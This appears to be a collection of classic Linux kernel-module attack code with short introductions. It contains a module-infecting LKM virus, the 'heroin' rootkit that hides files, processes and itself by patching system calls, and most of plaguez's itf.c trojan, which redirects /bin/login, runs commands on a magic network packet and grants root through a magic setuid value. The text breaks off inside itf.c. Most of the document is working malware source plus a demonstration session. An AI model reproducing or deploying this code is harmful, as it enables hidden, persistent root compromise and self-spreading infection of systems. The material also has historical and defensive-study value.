#define __NR_our_syscall 211

#define MAXPATH 30

/*#define DEBUG*/

#ifdef DEBUG

   #define DPRINTK(format, args...) printk(KERN_INFO format,##args)

#else

   #define DPRINTK(format, args...)

#endif



/* where the sys_calls are */



extern void *sys_call_table[];



/* tested only with kernel 2.0.33, but thiz should run under 2.x.x

* if you change the default_path[] values

*/



static char *default_path[] = {

        ".", "/linux/modules",

        "/lib/modules/2.0.33/fs",

        "/lib/modules/2.0.33/net",

        "/lib/modules/2.0.33/scsi",

        "/lib/modules/2.0.33/block",

        "/lib/modules/2.0.33/cdrom",

        "/lib/modules/2.0.33/ipv4",

        "/lib/modules/2.0.33/misc",

        "/lib/modules/default/fs",

        "/lib/modules/default/net",

        "/lib/modules/default/scsi",

        "/lib/modules/default/block",

        "/lib/modules/default/cdrom",

        "/lib/modules/default/ipv4",

        "/lib/modules/default/misc",

        "/lib/modules/fs",

        "/lib/modules/net",

        "/lib/modules/scsi",

        "/lib/modules/block",

        "/lib/modules/cdrom",

        "/lib/modules/ipv4",

        "/lib/modules/misc",

        0

};



static struct symbol_table my_symtab = {

           #include <linux/symtab_begin.h>

           X(printk),

        X(vmalloc),

        X(vfree),

        X(kerneld_send),

        X(current_set),

        X(sys_call_table),

        X(register_symtab_from),

        #include <linux/symtab_end.h>

};



char files2infect[7][60 + 2];



/* const char kernel_version[] = UTS_RELEASE; */



int (*old_create_module)(char*, int);

int (*old_delete_module)(char *);

int (*open)(char *, int, int);

int (*close)(int);

int (*unlink)(char*);



int our_syscall(int);

int infectfile(char *);

int is_infected(char *);

int cp(struct file*, struct file*);

int writeVir(char *, char *);

int init_module2(struct module*);

char *get_mod_name(char*);



/* needed to be global */



void *VirCode = NULL;



/* install new syscall to see if we are already in kmem */

int our_syscall(int mn)

{

           /* magic number: 40hex :-) */

           if (mn == 0x40)

                   return 0;

        else

                   return -ENOSYS;

}



int new_create_module(char *name, int size)

{

           int i = 0, j = 0, retval = 0;

        

        if ((retval = old_create_module(name, size)) < 0)

                   return retval;

        /* find next free place */

        for (i = 0; files2infect[0] && i < 7; i++);

        if (i == 6)

                   return retval;

        /* get name of mod from user-space */

        while ((files2infect[j] = get_fs_byte(name + j)) != 0 && j < 60)

                   j++;

        DPRINTK("in new_create_module: got %s as #%d\n", files2infect, i);

        return retval;

}



/* we infect modules after sys_delete_module, to be sure

* we don't confuse the kernel

*/



int new_delete_module(char *modname)

{

           static int infected = 0;

        int retval = 0, i = 0;

        char *s = NULL, *name = NULL;

        

        

        retval = old_delete_module(modname);



        if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)

                   return retval;



           for (i = 0; files2infect[0] && i < 7; i++) {

                   strcat(files2infect, ".o");

                if ((s  = get_mod_name(files2infect)) == NULL) {

                           return retval;

                }

                name = strcpy(name, s);

                if (!is_infected(name)) {

                           DPRINTK("try 2 infect %s as #%d\n", name, i);

                        infected++;

                        infectfile(name);

                }

                memset(files2infect, 0, 60 + 2);

        } /* for */

        /* its enough */

        if (infected >= ENOUGH)

                   cleanup_module();

        vfree(name);

        return retval;

}





/* lets take a look at sys_init_module(), that calls

* our init_module() compiled with

* CFLAG = ... -O2 -fomit-frame-pointer

* in C:

* ...

* if((mp = find_module(name)) == NULL)

* ...

*

* is in asm:

* ...

* call find_module

* movl %eax, %ebp

* ...

* note that there is no normal stack frame !!!

* thats the reason, why we find 'mp' (return from find_module) in %ebp

* BUT only when compiled with the fomit-frame-pointer option !!!

* with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)

* you should find mp at -4(%ebp) .

* thiz is very bad hijacking of local vars and an own topic.

* I hope you do not get an seg. fault.

*/



__asm__

("



.align 16

.globl init_module       

   .type init_module,@function



init_module:

        pushl %ebp                 /* ebp is a pointer to mp from sys_init_module() */

                                 /* and the parameter for init_module2() */

        call init_module2             

        popl %eax

        xorl %eax, %eax                 /* all good */

        ret                         /* and return */

.hype27:

           .size init_module,.hype27-init_module

");

        

/* for the one with no -fomit-frame-pointer and no -O2 this should (!) work:

  *

  * pushl %ebx

  * movl %ebp, %ebx

  * pushl -4(%ebx)

  * call init_module2

  * addl $4, %esp

  * xorl %eax, %eax

  * popl %ebx

  * ret

  */



/*----------------------------------------------*/



int init_module2(struct module *mp)

{      

        char *s = NULL, *mod = NULL, *modname = NULL;

        long state = 0;

   

              mod = vmalloc(60 + 2);

        modname = vmalloc(MAXPATH + 60 + 2);

        if (!mod || !modname)

                   return -1;        

        strcpy(mod, mp->name);

        strcat(mod, ".o");



          

        MOD_INC_USE_COUNT;        

        DPRINTK("in init_module2: mod = %s\n", mod);

        

        /* take also a look at phrack#52 ...*/

        mp->name = "";

        mp->ref = 0;

        mp->size = 0;



        /* thiz is our new main ,look for copys in kmem ! */

        if (sys_call_table[__NR_our_syscall] == 0) {   

                old_delete_module = sys_call_table[__NR_delete_module];  

                old_create_module = sys_call_table[__NR_create_module];

                sys_call_table[__NR_our_syscall] = (void*)our_syscall;                 

                sys_call_table[__NR_delete_module] = (void*)new_delete_module;         

                sys_call_table[__NR_create_module] = (void*)new_create_module;

                memset(files2infect, 0, (60 + 2)*7);

                register_symtab(&my_symtab);

        }

        open = sys_call_table[__NR_open];

        close = sys_call_table[__NR_close];        

        unlink = sys_call_table[__NR_unlink];        

        

        if ((s = get_mod_name(mod)) == NULL)

                   return -1;

        modname = strcpy(modname, s);

        load_real_mod(modname, mod);

        vfree(mod);

        vfree(modname);

        return 0;

}        



int cleanup_module()

{

        sys_call_table[__NR_delete_module] = old_delete_module;

        sys_call_table[__NR_create_module] = old_create_module;

        sys_call_table[__NR_our_syscall] = NULL;

        DPRINTK("in cleanup_module\n");

        vfree(VirCode);

        return 0;

}



/* returns 1 if infected;

* seek at position MODLEN + 1 and read out 3 bytes,

* if it is "ELF" it seems the file is already infected

*/



int is_infected(char *filename)

{

           char det[4] = {0};

        int fd = 0;

        struct file *file;



        DPRINTK("in is_infected: filename = %s\n", filename);

           BEGIN_KMEM

        fd = open(filename, O_RDONLY, 0);

        END_KMEM

        if (fd <= 0)

                   return -1;

        if ((file = current->files->fd[fd]) == NULL)

                   return -2;

        file->f_pos = MODLEN + 1;

        DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);

        BEGIN_KMEM

        file->f_op->read(file->f_inode, file, det, 3);

        close(fd);

        END_KMEM

        DPRINTK("in is_infected: det = %s\n", det);

        if (strcmp(det, "ELF") == 0)

                   return 1;

        else

                   return 0;

}



/* copy the host-module to tmp, write VirCode to

* hostmodule, and append tmp.

* then delete tmp.

*/





int infectfile(char *filename)

{

        char *tmp = "/tmp/t000";

        int in = 0, out = 0;

        struct file *file1, *file2;

        

        BEGIN_KMEM

        in = open(filename, O_RDONLY, 0640);

        out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);

        END_KMEM

        DPRINTK("in infectfile: in = %d out = %d\n", in, out);

        if (in <= 0 || out <= 0)

                   return -1;

        file1 = current->files->fd[in];

        file2 = current->files->fd[out];

        if (!file1 || !file2)

                   return -1;

        /* save hostcode */

        cp(file1, file2);

        BEGIN_KMEM

        file1->f_pos = 0;

        file2->f_pos = 0;

        /* write Vircode [from mem] */

        DPRINTK("in infetcfile: filenanme = %s\n", filename);

        file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);

        /* append hostcode */

        cp(file2, file1);

        close(in);

        close(out);

        unlink(tmp);

        END_KMEM

           return 0;

}        



int disinfect(char *filename)

{



        char *tmp = "/tmp/t000";

        int in = 0, out = 0;

        struct file *file1, *file2;

        

        BEGIN_KMEM

        in = open(filename, O_RDONLY, 0640);

        out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);

        END_KMEM

        DPRINTK("in disinfect: in = %d out = %d\n",in, out);

        if (in <= 0 || out <= 0)

                   return -1;

        file1 = current->files->fd[in];

        file2 = current->files->fd[out];

        if (!file1 || !file2)

                   return -1;

        /* save hostcode */

        cp(file1, file2);

        BEGIN_KMEM

        close(in);

        DPRINTK("in disinfect: filename = %s\n", filename);

        unlink(filename);

        in = open(filename, O_RDWR|O_CREAT, 0640);

        END_KMEM

        if (in <= 0)

                return -1;

        file1 = current->files->fd[in];

        if (!file1)

                   return -1;

        file2->f_pos = MODLEN;

        cp(file2, file1);

        BEGIN_KMEM

        close(in);

        close(out);

        unlink(tmp);

        END_KMEM

        return 0;

}



/* a simple copy routine, that expects the file struct pointer

* of the files to be copied.

* So its possible to append files due to copieng.

*/



int cp(struct file *file1, struct file *file2)

{



           int in = 0, out = 0, r = 0;

        char *buf;

        

        if ((buf = (char*)vmalloc(10000)) == NULL)

                   return -1;



        DPRINTK("in cp: f_pos = %d\n", file1->f_pos);

        BEGIN_KMEM

        while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0)

                   file2->f_op->write(file2->f_inode, file2, buf, r);

        file2->f_inode->i_mode = file1->f_inode->i_mode;

        file2->f_inode->i_atime = file1->f_inode->i_atime;

        file2->f_inode->i_mtime = file1->f_inode->i_mtime;

        file2->f_inode->i_ctime = file1->f_inode->i_ctime;

        END_KMEM

        vfree(buf);

        return 0;

}



/* Is that simple: we disinfect the module [hide 'n seek]

* and send a request to kerneld to load

* the orig mod. N0 fuckin' parsing for symbols and headers

* is needed - cool.

*/

int load_real_mod(char *path_name, char *name)

{          

        int r = 0, i = 0;               

        struct file *file1, *file2;

        int in =  0, out = 0;



        DPRINTK("in load_real_mod name = %s\n", path_name);

        if (VirCode)

                   vfree(VirCode);

        VirCode = vmalloc(MODLEN);

        if (!VirCode)

                return -1;

        BEGIN_KMEM

        in = open(path_name, O_RDONLY, 0640);

        END_KMEM

        if (in <= 0)

                   return -1;

        file1 = current->files->fd[in];

        if (!file1)

                      return -1;

        /* read Vircode [into mem] */

        BEGIN_KMEM

        file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);

        close(in);

        END_KMEM

        disinfect(path_name);

        r = request_module(name);

        DPRINTK("in load_real_mod: request_module = %d\n", r);

        return 0;

}          

        

char *get_mod_name(char *mod)

{

        int fd = 0, i = 0;

        static char* modname = NULL;

       

        if (!modname)

                modname = vmalloc(MAXPATH + 60 + 2);

        if (!modname)

                return NULL;

        BEGIN_KMEM

        for (i = 0; (default_path && (strstr(mod, "/") == NULL)); i++) {

                memset(modname, 0, MAXPATH + 60 + 2);

                modname = strcpy(modname, default_path);

                modname = strcat(modname, "/");

                modname = strcat(modname, mod);

                if ((fd = open(modname, O_RDONLY, 0640)) > 0)

                        break;

        }

        close(fd);

        END_KMEM   

        if (!default_path)

                   return NULL;  

        return modname;       

}        



Herion - the classic one

NAME : Heroin

AUTHOR : Runar Jensen

DESCRIPTION : Runar Jensen introduced some nice ideas in his text, which were

the first steps towards our modern Hide LKM by plaguez. The way Runar Jensen

hides the module requires more coder work than the plaguez (Solar Designer and

other people) approach, but it works. The way Runar Jensen hides processes is

also a bit too complicated (well this text is quite old, and it was one of the

first talking about LKM hacking), He uses a special signal code (31) in order to

set a flag in a process structure which indicates that this process is going to

be hidden, in the way we discussed in part II.

The rest should be clear.

LINK : http://www.rootshell.com



As halflife demonstrated in Phrack 50 with his linspy project, it is trivial

to patch any systemcall under Linux from within a module. This means that

once your system has been compromised at the root level, it is possible for

an intruder to hide completely _without_ modifying any binaries or leaving

any visible backdoors behind. Because such tools are likely to be in use

within the hacker community already, I decided to publish a piece of code to

demonstrate the potentials of a malicious module.



The following piece of code is a fully working Linux module for 2.1 kernels

that patches the getdents(), kill(), read() and query_module() calls. Once

loaded, the module becomes invisible to lsmod and a dump of /proc/modules by

modifying the output of every query_module() call and every read() call

accessing /proc/modules. Apparently rmmod also calls query_module() to list

all modules before attempting to remove the specified module, and will

therefore claim that the module does not exist even if you know its name. The

output of any getdents() call is modified to hide any files or directories

starting with a given string, leaving them accessible only if you know their

exact names. It also hides any directories in /proc matching pids that have a

specified flag set in its internal task structure, allowing a user with root

access to hide any process (and its children, since the task structure is

duplicated when the process does a fork()). To set this flag, simply send the

process a signal 31 which is caught and handled by the patched kill() call.



To demonstrate the effects...



[root@image:~/test]# ls -l

total 3

-rw-------   1 root     root         2832 Oct  8 16:52 heroin.o

[root@image:~/test]# insmod heroin.o

[root@image:~/test]# lsmod | grep heroin

[root@image:~/test]# grep heroin /proc/modules

[root@image:~/test]# rmmod heroin

rmmod: module heroin not loaded

[root@image:~/test]# ls -l

total 0

[root@image:~/test]# echo "I'm invisible" > heroin_test

[root@image:~/test]# ls -l

total 0

[root@image:~/test]# cat heroin_test

I'm invisible

[root@image:~/test]# ps -aux | grep gpm

root       223  0.0  1.0   932   312  ?  S   16:08   0:00 gpm

[root@image:~/test]# kill -31 223

[root@image:~/test]# ps -aux | grep gpm

[root@image:~/test]# ps -aux 223

USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND

root       223  0.0  1.0   932   312  ?  S   16:08   0:00 gpm

[root@image:~/test]# ls -l /proc | grep 223

[root@image:~/test]# ls -l /proc/223

total 0

-r--r--r--   1 root     root            0 Oct  8 16:53 cmdline

lrwx------   1 root     root            0 Oct  8 16:54 cwd -> /var/run

-r--------   1 root     root            0 Oct  8 16:54 environ

lrwx------   1 root     root            0 Oct  8 16:54 exe -> /usr/bin/gpm

dr-x------   1 root     root            0 Oct  8 16:54 fd

pr--r--r--   1 root     root            0 Oct  8 16:54 maps

-rw-------   1 root     root            0 Oct  8 16:54 mem

lrwx------   1 root     root            0 Oct  8 16:54 root -> /

-r--r--r--   1 root     root            0 Oct  8 16:53 stat

-r--r--r--   1 root     root            0 Oct  8 16:54 statm

-r--r--r--   1 root     root            0 Oct  8 16:54 status

[root@image:~/test]#



The implications should be obvious. Once a compromise has taken place,

nothing can be trusted, the operating system included. A module such as this

could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded

after every reboot, or put in place of a commonly used module and in turn

have it load the required module for an added level of protection. (Thanks

Sean :) Combined with a reasonably obscure remote backdoor it could remain

undetected for long periods of time unless the system administrator knows

what to look for. It could even hide the packets going to and from this

backdoor from the kernel itself to prevent a local packet sniffer from seeing

them.



So how can it be detected? In this case, since the number of processes is

limited, one could try to open every possible process directory in /proc and

look for the ones that do not show up otherwise. Using readdir() instead of

getdents() will not work, since it appears to be just a wrapper for

getdents(). In short, trying to locate something like this without knowing

exactly what to look for is rather futile if done in userspace...



Be afraid. Be very afraid. ;)



.../ru



-----



/*

* heroin.c

*

* Runar Jensen <zarq@opaque.org>

*

* This Linux kernel module patches the getdents(), kill(), read()

* and query_module() system calls to demonstrate the potential

* dangers of the way modules have full access to the entire kernel.

*

* Once loaded, the module becomes invisible and can not be removed

* with rmmod. Any files or directories starting with the string

* defined by MAGIC_PREFIX appear to disappear, and sending a signal

* 31 to any process as root effectively hides it and all its future

* children.

*

* This code should compile cleanly and work with most (if not all)

* recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.

* It will not compile as is under 2.0.30, since 2.0.30 lacks the

* query_module() function.

*

* Compile with:

*   gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c

*/



#include <linux/fs.h>

#include <linux/module.h>

#include <linux/modversions.h>

#include <linux/malloc.h>

#include <linux/unistd.h>

#include <sys/syscall.h>



#include <linux/dirent.h>

#include <linux/proc_fs.h>

#include <stdlib.h>



#define MAGIC_PREFIX "heroin"



#define PF_INVISIBLE 0x10000000

#define SIGINVISI 31



int errno;



static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);

static inline _syscall2(int, kill, pid_t, pid, int, sig);

static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);

static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);



extern void *sys_call_table[];



int (*original_getdents)(unsigned int, struct dirent *, unsigned int);

int (*original_kill)(pid_t, int);

int (*original_read)(int, void *, size_t);

int (*original_query_module)(const char *, int, void *, size_t, size_t *);



int myatoi(char *str)

{

        int res = 0;

        int mul = 1;

        char *ptr;



        for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {

                if(*ptr < '0' || *ptr > '9')

                        return(-1);

                res += (*ptr - '0') * mul;

                mul *= 10;

        }

        return(res);

}



void mybcopy(char *src, char *dst, unsigned int num)

{

        while(num--)

                *(dst++) = *(src++);

}



int mystrcmp(char *str1, char *str2)

{

        while(*str1 && *str2)

                if(*(str1++) != *(str2++))

                        return(-1);

        return(0);

}



struct task_struct *find_task(pid_t pid)

{

        struct task_struct *task = current;



        do {

                if(task->pid == pid)

                        return(task);



                task = task->next_task;



        } while(task != current);



        return(NULL);

}



int is_invisible(pid_t pid)

{

        struct task_struct *task;



        if((task = find_task(pid)) == NULL)

                return(0);



        if(task->flags & PF_INVISIBLE)

                return(1);



        return(0);

}



int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)

{

        int res;

        int proc = 0;

        struct inode *dinode;

        char *ptr = (char *)dirp;

        struct dirent *curr;

        struct dirent *prev = NULL;



        res = (*original_getdents)(fd, dirp, count);



        if(!res)

                return(res);



        if(res == -1)

                return(-errno);



#ifdef __LINUX_DCACHE_H

        dinode = current->files->fd[fd]->f_dentry->d_inode;

#else

        dinode = current->files->fd[fd]->f_inode;

#endif



        if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)

                proc = 1;



        while(ptr < (char *)dirp + res) {

                curr = (struct dirent *)ptr;



                if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||

                        (proc && is_invisible(myatoi(curr->d_name)))) {



                        if(curr == dirp) {

                                res -= curr->d_reclen;

                                mybcopy(ptr + curr->d_reclen, ptr, res);

                                continue;

                        }

                        else

                                prev->d_reclen += curr->d_reclen;

                }

                else

                        prev = curr;



                ptr += curr->d_reclen;

        }



        return(res);

}



int hacked_kill(pid_t pid, int sig)

{

        int res;

        struct task_struct *task = current;



        if(sig != SIGINVISI) {

                res = (*original_kill)(pid, sig);



                if(res == -1)

                        return(-errno);



                return(res);

        }



        if((task = find_task(pid)) == NULL)

                return(-ESRCH);



        if(current->uid && current->euid)

                return(-EPERM);



        task->flags |= PF_INVISIBLE;



        return(0);

}



int hacked_read(int fd, char *buf, size_t count)

{

        int res;

        char *ptr, *match;

        struct inode *dinode;



        res = (*original_read)(fd, buf, count);



        if(res == -1)

                return(-errno);



#ifdef __LINUX_DCACHE_H

        dinode = current->files->fd[fd]->f_dentry->d_inode;

#else

        dinode = current->files->fd[fd]->f_inode;

#endif



        if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)

                return(res);



        ptr = buf;



        while(ptr < buf + res) {

                if(!mystrcmp(MAGIC_PREFIX, ptr)) {

                        match = ptr;

                        while(*ptr && *ptr != '\n')

                                ptr++;

                        ptr++;

                        mybcopy(ptr, match, (buf + res) - ptr);

                        res = res - (ptr - match);

                        return(res);

                }

                while(*ptr && *ptr != '\n')

                        ptr++;

                ptr++;

        }



        return(res);

}



int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)

{

        int res;

        int cnt;

        char *ptr, *match;



        res = (*original_query_module)(name, which, buf, bufsize, ret);



        if(res == -1)

                return(-errno);



        if(which != QM_MODULES)

                return(res);



        ptr = buf;



        for(cnt = 0; cnt < *ret; cnt++) {

                if(!mystrcmp(MAGIC_PREFIX, ptr)) {

                        match = ptr;

                        while(*ptr)

                                ptr++;

                        ptr++;

                        mybcopy(ptr, match, bufsize - (ptr - (char *)buf));

                        (*ret)--;

                        return(res);

                }

                while(*ptr)

                        ptr++;

                ptr++;

        }



        return(res);

}



int init_module(void)

{

        original_getdents = sys_call_table[SYS_getdents];

        sys_call_table[SYS_getdents] = hacked_getdents;



        original_kill = sys_call_table[SYS_kill];

        sys_call_table[SYS_kill] = hacked_kill;



        original_read = sys_call_table[SYS_read];

        sys_call_table[SYS_read] = hacked_read;



        original_query_module = sys_call_table[SYS_query_module];

        sys_call_table[SYS_query_module] = hacked_query_module;



        return(0);

}



void cleanup_module(void)

{

        sys_call_table[SYS_getdents] = original_getdents;

        sys_call_table[SYS_kill] = original_kill;

        sys_call_table[SYS_read] = original_read;

        sys_call_table[SYS_query_module] = original_query_module;

}



-----



-----

Runar Jensen            | Phone  (318) 289-0125 | Email zarq@1stnet.com

Network Administrator   |   or   (800) 264-7440 |   or  zarq@opaque.org

Tech Operations Mgr     | Fax    (318) 235-1447 | Epage zarq@page.1stnet.com

FirstNet of Acadiana    | Pager  (318) 268-8533 |       [message in subject]



LKM Hider / Socket Backdoor

NAME : itf.c

AUTHOR : plaguez

DESCRIPTION : This very good LKM was published in phrack 52 (article 18 :

'Weakening the Linux Kernel'). I often refered to it although some ideas in it

were also taken from other LKMs / texts which were published before. This module

has everything you need to backdoor a system in a very effective way. Look at

the text supplied with it for all of its features.

LINK : http://www.phrack.com



Here is itf.c.  The goal of this program is to demonstrate kernel backdooring

techniques using systemcall redirection.  Once installed, it is very hard to

spot.



Its features include:



- stealth functions:  once insmod'ed, itf will modify struct module *mp and

get_kernel_symbols(2) so it won't appear in /proc/modules or ksyms' outputs.

Also, the module cannot be unloaded.



- sniffer hidder: itf will backdoor ioctl(2) so that the PROMISC flag will be

hidden.  Note that you'll need to place the sniffer BEFORE insmod'ing itf.o,

because itf will trap a change in the PROMISC flag and will then stop hidding

it (otherwise you'd just have to do a ifconfig eth0 +promisc and you'd spot

the module...).



- file hidder: itf will also patch the getdents(2) system calls, thus hidding

files containing a certain word in their filename.



- process hidder: using the same technique as described above, itf will hide

/procs/P螪 directories using argv entries.  Any process named with the magic

name will be hidden from the procfs tree.



- execve redirection: this implements Halflife's idea discussed in P51.

If a given program (notably /bin/login) is execve'd, itf will execve

another program instead.  It uses tricks to overcome Linux memory managment

limitations: brk(2) is used to increase the calling program's data segment

size, thus allowing us to allocate user memory while in kernel mode (remember

that most system calls wait for arguments in user memory, not kernel mem).



- socket recvfrom() backdoor: when a packet matching a given size and a given

string is received, a non-interactive program will be executed.  Typicall use

is a shell script (which will be hidden using the magic name) that opens

another port and waits there for shell commands.



- setuid() trojan: like Halflife's stuff.  When a setuid() syscall with uid ==

magic number is done, the calling process will get uid = euid = gid = 0





<++> lkm_trojan.c

/*

* itf.c v0.8

* Linux Integrated Trojan Facility

* (c) plaguez 1997  --  dube0866@eurobretagne.fr

* This is mostly not fully tested code. Use at your own risks.

*

*

* compile with:

*   gcc -c -O3 -fomit-frame-pointer itf.c

* Then:

*   insmod itf

*

*

* Thanks to Halflife and Solar Designer for their help/ideas.

*

* Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial.

*

*

*/



#define MODULE

#define __KERNEL__





#include <linux/config.h>

#include <linux/module.h>

#include <linux/version.h>



#include <linux/types.h>

#include <linux/fs.h>

#include <linux/mm.h>

#include <linux/errno.h>

#include <asm/segment.h>

#include <asm/pgtable.h>

#include <sys/syscall.h>

#include <linux/dirent.h>

#include <asm/unistd.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/socketcall.h>

#include <linux/netdevice.h>

#include <linux/if.h>

#include <linux/if_arp.h>

#include <linux/if_ether.h>

#include <linux/proc_fs.h>

#include <stdio.h>

#include <errno.h>

#include <fcntl.h>

#include <ctype.h>





/* Customization section

* - RECVEXEC is the full pathname of the program to be launched when a packet

* of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom().

* This program can be a shell script, but must be able to handle null **argv (I'm too lazy

* to write more than execve(RECVEXEC,NULL,NULL); :)

* - NEWEXEC is the name of the program that is executed instead of OLDEXEC

* when an execve() syscall occurs.

* - MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID)

* is made (like Halflife's code)

* - files containing MAGICNAME in their full pathname will be invisible to

* a getdents() system call.

* - processes containing MAGICNAME in their process name will be hidden of the

* procfs tree.

*/

#define MAGICNAME "w00w00T$!"

#define MAGICUID  31337

#define OLDEXEC   "/bin/login"

#define NEWEXEC   "/.w00w00T$!/w00w00T$!login"

#define RECVEXEC  "/.w00w00T$!/w00w00T$!recv"

#define MAGICSIZE sizeof(MAGICNAME)+10



/* old system calls vectors */

int (*o_getdents) (uint, struct dirent *, uint);

ssize_t(*o_readdir) (int, void *, size_t);

int (*o_setuid) (uid_t);

int (*o_execve) (const char *, const char *[], const char *[]);

int (*o_ioctl) (int, int, unsigned long);

int (*o_get_kernel_syms) (struct kernel_sym *);

ssize_t(*o_read) (int, void *, size_t);

int (*o_socketcall) (int, unsigned long *);

/* entry points to brk() and fork() syscall. */

static inline _syscall1(int, brk, void *, end_data_segment);

static inline _syscall0(int, fork);

static inline _syscall1(void, exit, int, status);



extern void *sys_call_table[];

extern struct proto tcp_prot;

int errno;



char mtroj[] = MAGICNAME;

int __NR_myexecve;

int promisc;







/*

* String-oriented functions

* (from user-space to kernel-space or invert)

*/



char *strncpy_fromfs(char *dest, const char *src, int n)

{

    char *tmp = src;

    int compt = 0;



    do {

        dest[compt++] = __get_user(tmp++, 1);

    }

    while ((dest[compt - 1] != '\0') && (compt != n));



    return dest;

}





int myatoi(char *str)

{

    int res = 0;

    int mul = 1;

    char *ptr;



    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {

        if (*ptr < '0' || *ptr > '9')

            return (-1);

        res += (*ptr - '0') * mul;

        mul *= 10;

    }

    return (res);

}







/*

* process hiding functions

*/

struct task_struct *get_task(pid_t pid)

{

    struct task_struct *p = current;

    do {

        if (p->pid == pid)

            return p;

        p = p->next_task;

    }

    while (p != current);

    return NULL;



}



/* the following function comes from fs/proc/array.c */

static inline char *task_name(struct task_struct *p, char *buf)

{

    int i;

    char *name;



    name = p->comm;

    i = sizeof(p->comm);

    do {

        unsigned char c = *name;

        name++;

        i--;

        *buf = c;

        if (!c)

            break;

        if (c == '\\') {

            buf[1] = c;

            buf += 2;

            continue;

        }

        if (c == '\n') {

            buf[0] = '\\';

            buf[1] = 'n';

            buf += 2;

            continue;

        }

        buf++;

    }

    while (i);

    *buf = '\n';

    return buf + 1;

}







int invisible(pid_t pid)

{

    struct task_struct *task = get_task(pid);

    char *buffer;

    if (task) {

        buffer = kmalloc(200, GFP_KERNEL);

        memset(buffer, 0, 200);

        task_name(task, buffer);

        if (strstr(buffer, (char *) &mtroj)) {

            kfree(buffer);

            return 1;

        }

    }

    return 0;

}







/*

* New system calls

*/



/*

* hide module symbols

*/

int n_get_kernel_syms(struct kernel_sym *table)

{

    struct kernel_sym *tb;

    int compt, compt2, compt3, i, done;



    compt = (*o_get_kernel_syms) (table);

    if (table != NULL) {

        tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);

        if (tb == 0) {

            return compt;

        }

        compt2 = 0;

        done = 0;

        i = 0;

        memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym));

        while (!done) {

            if ((tb[compt2].name)[0] == '#')

                i = compt2;

            if (!strcmp(tb[compt2].name, mtroj)) {

                for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++);

                if (compt3 != (compt - 1))

                    memmove((void *) &(tb), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym));

                else

                    compt = i;

                done++;

            }

            compt2++;

            if (compt2 == compt)

                done++;



        }



        memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));

        kfree(tb);

    }

    return compt;



}







/*

* how it works:

* I need to allocate user memory. To do that, I'll do exactly as malloc() does

* it (changing the break value).

*/

int my_execve(const char *filename, const char *argv[], const char *envp[])

{

    long __res;

    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));

    return (int) __res;

}



int n_execve(const char *filename, const char *argv[], const char *envp[])

{

    char *test;

    int ret, tmp;

    char *truc = OLDEXEC;

    char *nouveau = NEWEXEC;

    unsigned long mmm;



    test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);

    (void) strncpy_fromfs(test, filename, strlen(truc));

    test[strlen(truc)] = '\0';

    if (!strcmp(test, truc)) {

        kfree(test);

        mmm = current->mm->brk;

        ret = brk((void *) (mmm + 256));

        if (ret < 0)

            return ret;

        memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);

        ret = my_execve((char *) (mmm + 2), argv, envp);

        tmp = brk((void *) mmm);

    } else {

        kfree(test);

        ret = my_execve(filename, argv, envp);

    }

    return ret;



}





/*

* Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces.

* If we reset the PROMISC flag when the trojan is already running, then it

* won't hide it anymore (needed otherwise you'd just have to do an

* "ifconfig eth0 +promisc" to find the trojan).

*/

int n_ioctl(int d, int request, unsigned long arg)

{

    int tmp;

    struct ifreq ifr;



    tmp = (*o_ioctl) (d, request, arg);

    if (request == SIOCGIFFLAGS && !promisc) {

        memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));

        ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);

        memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));

    } else if (request == SIOCSIFFLAGS) {

        memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));

        if (ifr.ifr_flags & IFF_PROMISC)

            promisc = 1;

        else if (!(ifr.ifr_flags & IFF_PROMISC))

            promisc = 0;

    }

    return tmp;



}





/*

* trojan setMAGICUID() system call.

*/

int n_setuid(uid_t uid)

{

    int tmp;



    if (uid == MAGICUID) {

        current->uid = 0;

        current->euid = 0;

        current->gid = 0;

        current->egid = 0;

        return 0;

    }

    tmp = (*o_setuid) (uid);

    return tmp;

}





/*

* trojan getdents() system call.

*/

int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)

{

